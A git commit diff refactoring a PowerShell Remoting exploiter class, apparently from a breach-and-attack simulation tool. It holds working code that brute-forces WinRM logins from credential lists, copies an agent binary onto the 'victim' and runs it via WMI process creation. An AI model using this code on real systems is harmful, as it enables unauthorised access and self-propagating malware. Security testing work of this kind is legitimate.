agent: Refactor powershell remoting exploiter
This commit is contained in:
parent
29788776fa
commit
ee9fde4005
|
@ -2,6 +2,7 @@ import logging
|
||||||
import os
|
import os
|
||||||
import typing
|
import typing
|
||||||
|
|
||||||
|
import pypsrp
|
||||||
import spnego
|
import spnego
|
||||||
from pypsrp.client import Client
|
from pypsrp.client import Client
|
||||||
from pypsrp.powershell import PowerShell, RunspacePool
|
from pypsrp.powershell import PowerShell, RunspacePool
|
||||||
|
@ -25,7 +26,6 @@ TEMP_MONKEY_BINARY_FILEPATH = "./monkey_temp_bin"
|
||||||
|
|
||||||
|
|
||||||
class PowershellExploiter(HostExploiter):
|
class PowershellExploiter(HostExploiter):
|
||||||
# attack URLs
|
|
||||||
_TARGET_OS_TYPE = ["windows"]
|
_TARGET_OS_TYPE = ["windows"]
|
||||||
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
||||||
_EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)"
|
_EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)"
|
||||||
|
@ -44,92 +44,74 @@ class PowershellExploiter(HostExploiter):
|
||||||
logging.getLogger(package.__name__).setLevel(logging.ERROR)
|
logging.getLogger(package.__name__).setLevel(logging.ERROR)
|
||||||
|
|
||||||
def _exploit_host(self):
|
def _exploit_host(self):
|
||||||
|
result = self._attempt_exploitations()
|
||||||
|
if not result:
|
||||||
|
return False
|
||||||
|
|
||||||
|
arch = self._get_host_arch()
|
||||||
|
self.is_32bit = arch == WIN_ARCH_32
|
||||||
|
|
||||||
|
self._write_virtual_file_to_local_path()
|
||||||
|
|
||||||
|
self.monkey_path_on_victim = (
|
||||||
|
self._config.dropper_target_path_win_32
|
||||||
|
if self.is_32bit
|
||||||
|
else self._config.dropper_target_path_win_64
|
||||||
|
)
|
||||||
|
is_monkey_copy_successful = self._copy_monkey_binary_on_victim()
|
||||||
|
|
||||||
|
if is_monkey_copy_successful:
|
||||||
|
self._execute_monkey_on_victim()
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
def _attempt_exploitations(self) -> bool:
|
||||||
try:
|
try:
|
||||||
self.client = self.exploit_without_credentials()
|
self.client = self._exploit_without_credentials()
|
||||||
except FailedExploitationError:
|
except FailedExploitationError:
|
||||||
LOG.info("Failed exploitation without credentials.")
|
LOG.info("Failed exploitation without credentials.")
|
||||||
try:
|
try:
|
||||||
self.client = self.exploit_with_usernames_only(
|
self.client = self._exploit_with_usernames_only(
|
||||||
usernames=self._config.exploit_user_list
|
usernames=self._config.exploit_user_list
|
||||||
)
|
)
|
||||||
except FailedExploitationError:
|
except FailedExploitationError:
|
||||||
LOG.info("Failed exploitation using configured usernames only.")
|
LOG.info("Failed exploitation using configured usernames only.")
|
||||||
try:
|
try:
|
||||||
self.client = self.exploit_with_credentials(
|
self.client = self._exploit_with_credentials(
|
||||||
self._config.get_exploit_user_password_pairs()
|
credential_list=self._config.get_exploit_user_password_pairs()
|
||||||
)
|
)
|
||||||
except FailedExploitationError:
|
except FailedExploitationError:
|
||||||
LOG.info("Failed exploitation using configured credentials. Quitting.")
|
LOG.info("Failed exploitation using configured credentials. Quitting.")
|
||||||
return False
|
return False
|
||||||
|
|
||||||
arch = self.get_host_arch()
|
|
||||||
is_32bit = arch == WIN_ARCH_32
|
|
||||||
|
|
||||||
monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=is_32bit)
|
|
||||||
|
|
||||||
# write virtual file to actual local file
|
|
||||||
with monkeyfs.open(monkey_fs_path) as monkey_virtual_file:
|
|
||||||
with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file:
|
|
||||||
monkey_local_file.write(monkey_virtual_file.read())
|
|
||||||
|
|
||||||
try:
|
|
||||||
if arch == WIN_ARCH_32:
|
|
||||||
monkey_path_on_victim = self._config.dropper_target_path_win_32
|
|
||||||
else:
|
|
||||||
monkey_path_on_victim = self._config.dropper_target_path_win_64
|
|
||||||
|
|
||||||
self.client.copy(TEMP_MONKEY_BINARY_FILEPATH, monkey_path_on_victim)
|
|
||||||
except Exception:
|
|
||||||
return False
|
|
||||||
finally:
|
|
||||||
os.remove(TEMP_MONKEY_BINARY_FILEPATH)
|
|
||||||
|
|
||||||
monkey_params = build_monkey_commandline(
|
|
||||||
target_host=self.host,
|
|
||||||
depth=get_monkey_depth() - 1,
|
|
||||||
vulnerable_port=None,
|
|
||||||
location=monkey_path_on_victim,
|
|
||||||
)
|
|
||||||
|
|
||||||
monkey_execution_command = RUN_MONKEY % {
|
|
||||||
"monkey_path": monkey_path_on_victim,
|
|
||||||
"monkey_type": DROPPER_ARG,
|
|
||||||
"parameters": monkey_params,
|
|
||||||
}
|
|
||||||
|
|
||||||
with self.client.wsman, RunspacePool(self.client.wsman) as pool:
|
|
||||||
ps = PowerShell(pool)
|
|
||||||
ps.add_cmdlet("Invoke-WmiMethod").add_parameter("path", "win32_process").add_parameter(
|
|
||||||
"name", "create"
|
|
||||||
).add_parameter("ArgumentList", monkey_execution_command)
|
|
||||||
ps.invoke()
|
|
||||||
|
|
||||||
return True
|
return True
|
||||||
|
|
||||||
def exploit_without_credentials(self) -> Client:
|
def _exploit_without_credentials(self) -> Client:
|
||||||
return self.try_exploit()
|
return self._try_exploit()
|
||||||
|
|
||||||
def exploit_with_usernames_only(self, usernames: typing.List[str]) -> Client:
|
def _exploit_with_usernames_only(self, usernames: typing.List[str]) -> Client:
|
||||||
for username in usernames:
|
for username in usernames:
|
||||||
try:
|
try:
|
||||||
client = self.try_exploit(username)
|
client = self._try_exploit(username)
|
||||||
return client
|
return client
|
||||||
except FailedExploitationError:
|
except FailedExploitationError:
|
||||||
pass
|
pass
|
||||||
raise FailedExploitationError
|
raise FailedExploitationError
|
||||||
|
|
||||||
def exploit_with_credentials(
|
def _exploit_with_credentials(
|
||||||
self, credential_list: typing.List[typing.Tuple[str, str]]
|
self, credential_list: typing.List[typing.Tuple[str, str]]
|
||||||
) -> Client:
|
) -> Client:
|
||||||
for username, password in credential_list:
|
for username, password in credential_list:
|
||||||
try:
|
try:
|
||||||
client = self.try_exploit(username, password)
|
client = self._try_exploit(username, password)
|
||||||
return client
|
return client
|
||||||
except FailedExploitationError:
|
except FailedExploitationError:
|
||||||
pass
|
pass
|
||||||
raise FailedExploitationError
|
raise FailedExploitationError
|
||||||
|
|
||||||
def try_exploit(
|
def _try_exploit(
|
||||||
self, username: typing.Optional[str] = None, password: typing.Optional[str] = None
|
self, username: typing.Optional[str] = None, password: typing.Optional[str] = None
|
||||||
) -> Client:
|
) -> Client:
|
||||||
try:
|
try:
|
||||||
|
@ -145,13 +127,50 @@ class PowershellExploiter(HostExploiter):
|
||||||
except Exception:
|
except Exception:
|
||||||
raise FailedExploitationError
|
raise FailedExploitationError
|
||||||
|
|
||||||
def get_host_arch(self) -> typing.Union[WIN_ARCH_32, WIN_ARCH_64]:
|
def _get_host_arch(self) -> typing.Union[WIN_ARCH_32, WIN_ARCH_64]:
|
||||||
output = self.execute_cmd_on_host(GET_ARCH_WINDOWS)
|
output = self._execute_cmd_on_host(GET_ARCH_WINDOWS)
|
||||||
if "64-bit" in output:
|
if "64-bit" in output:
|
||||||
return WIN_ARCH_64
|
return WIN_ARCH_64
|
||||||
else:
|
else:
|
||||||
return WIN_ARCH_32
|
return WIN_ARCH_32
|
||||||
|
|
||||||
def execute_cmd_on_host(self, cmd: str) -> str:
|
def _execute_cmd_on_host(self, cmd: str) -> str:
|
||||||
output, _, _ = self.client.execute_cmd(cmd)
|
output, _, _ = self.client.execute_cmd(cmd)
|
||||||
return output
|
return output
|
||||||
|
|
||||||
|
def _write_virtual_file_to_local_path(self) -> None:
|
||||||
|
monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=self.is_32bit)
|
||||||
|
|
||||||
|
with monkeyfs.open(monkey_fs_path) as monkey_virtual_file:
|
||||||
|
with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file:
|
||||||
|
monkey_local_file.write(monkey_virtual_file.read())
|
||||||
|
|
||||||
|
def _copy_monkey_binary_on_victim(self) -> bool:
|
||||||
|
try:
|
||||||
|
self.client.copy(TEMP_MONKEY_BINARY_FILEPATH, self.monkey_path_on_victim)
|
||||||
|
return True
|
||||||
|
except Exception:
|
||||||
|
return False
|
||||||
|
finally:
|
||||||
|
os.remove(TEMP_MONKEY_BINARY_FILEPATH)
|
||||||
|
|
||||||
|
def _execute_monkey_on_victim(self) -> None:
|
||||||
|
monkey_params = build_monkey_commandline(
|
||||||
|
target_host=self.host,
|
||||||
|
depth=get_monkey_depth() - 1,
|
||||||
|
vulnerable_port=None,
|
||||||
|
location=self.monkey_path_on_victim,
|
||||||
|
)
|
||||||
|
|
||||||
|
monkey_execution_command = RUN_MONKEY % {
|
||||||
|
"monkey_path": self.monkey_path_on_victim,
|
||||||
|
"monkey_type": DROPPER_ARG,
|
||||||
|
"parameters": monkey_params,
|
||||||
|
}
|
||||||
|
|
||||||
|
with self.client.wsman, RunspacePool(self.client.wsman) as pool:
|
||||||
|
ps = PowerShell(pool)
|
||||||
|
ps.add_cmdlet("Invoke-WmiMethod").add_parameter("path", "win32_process").add_parameter(
|
||||||
|
"name", "create"
|
||||||
|
).add_parameter("ArgumentList", monkey_execution_command)
|
||||||
|
ps.invoke()
|
||||||
|
|
Loading…
Reference in New Issue